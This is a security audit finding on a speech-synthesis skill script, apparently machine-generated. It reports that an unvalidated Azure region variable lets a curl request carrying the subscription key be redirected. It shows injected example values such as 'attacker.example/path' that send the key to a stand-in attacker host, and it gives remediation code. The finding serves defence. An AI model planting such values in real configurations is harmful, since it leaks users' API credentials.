T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/speak.sh:143
- Finding
- Azure Speech API Key Exfiltration Through Unvalidated Region Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/speak.sh`, lines 143-153 **Vulnerability Type**: Credential exfiltration through URL authority injection **Risk Level**: Medium ### Vulnerable Code ```bash url="https://${AZURE_SPEECH_REGION}.tts.speech.microsoft.com/cognitiveservices/v1" curl -sS --fail-with-body \ -X POST "$url" \ -H "Ocp-Apim-Subscription-Key: ${AZURE_SPEECH_KEY}" \ -H "Content-Type: application/ssml+xml" \ -H "X-Microsoft-OutputFormat: ${format}" \ -H "User-Agent: curl" \ --data-raw "$ssml" \ --output "$out" ``` ### Technical Analysis `AZURE_SPEECH_REGION` is incorporated directly into the request URL after being checked only for emptiness. The script does not require the value to be a valid Azure region or prevent URL authority delimiters such as `/`. A malicious value can therefore terminate the intended hostname portion. For example: ```bash AZURE_SPEECH_REGION='attacker.example/path' ``` This produces: ```text https://attacker.example/path.tts.speech.microsoft.com/cognitiveservices/v1 ``` The effective destination host is `attacker.example`, not an Azure Speech host. Nevertheless, `curl` attaches the `Ocp-Apim-Subscription-Key` header containing `AZURE_SPEECH_KEY` and transmits the generated SSML body. TLS does not prevent this issue because `curl` validates the certificate against the attacker-controlled hostname that resulted from the injected value. No command injection is present; the vulnerability is an endpoint-injection flaw that allows sensitive headers and request content to be sent to an unintended server. ### Attack Path 1. The attacker gains the ability to influence the Skill's configuration or the `AZURE_SPEECH_REGION` environment variable. 2. The attacker supplies a value containing a hostname and path delimiter, such as `attacker.example/path`. 3. A user or agent invokes `scripts/speak.sh` with speech text while a valid `AZURE_SPEECH_KEY` is present. 4. The script constructs a URL w ...[truncated 1194 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions Validate `AZURE_SPEECH_REGION` before constructing the endpoint. Prefer an explicit allowlist of Azure regions supported by this Skill: ```bash case "${AZURE_SPEECH_REGION}" in eastus|westus|westus2|westeurope) ;; *) echo "Unsupported Azure Speech region" >&2 exit 1 ;; esac ``` If maintaining an allowlist is impractical, enforce a strict region syntax that excludes URL delimiters and other authority-changing characters: ```bash if [[ ! "${AZURE_SPEECH_REGION}" =~ ^[a-z0-9]+$ ]]; then echo "Invalid AZURE_SPEECH_REGION" >&2 exit 1 fi ``` Additional hardening should include: 1. Constructing endpoints from a trusted mapping of supported region names to fixed Azure hostnames. 2. Rejecting values containing `/`, `\`, `:`, `@`, dots, whitespace, percent encoding, or control characters. 3. Verifying that the final hostname exactly matches an expected Azure Speech hostname before invoking `curl`. 4. Avoiding user-controlled endpoint overrides when requests carry subscription keys. 5. Rotating the Azure Speech key if the script has already been run with an untrusted region value. 6. Adding tests that confirm malicious values such as `attacker.example/path`, `eastus@attacker.example`, and values containing whitespace are rejected before any network request occurs. ]]>
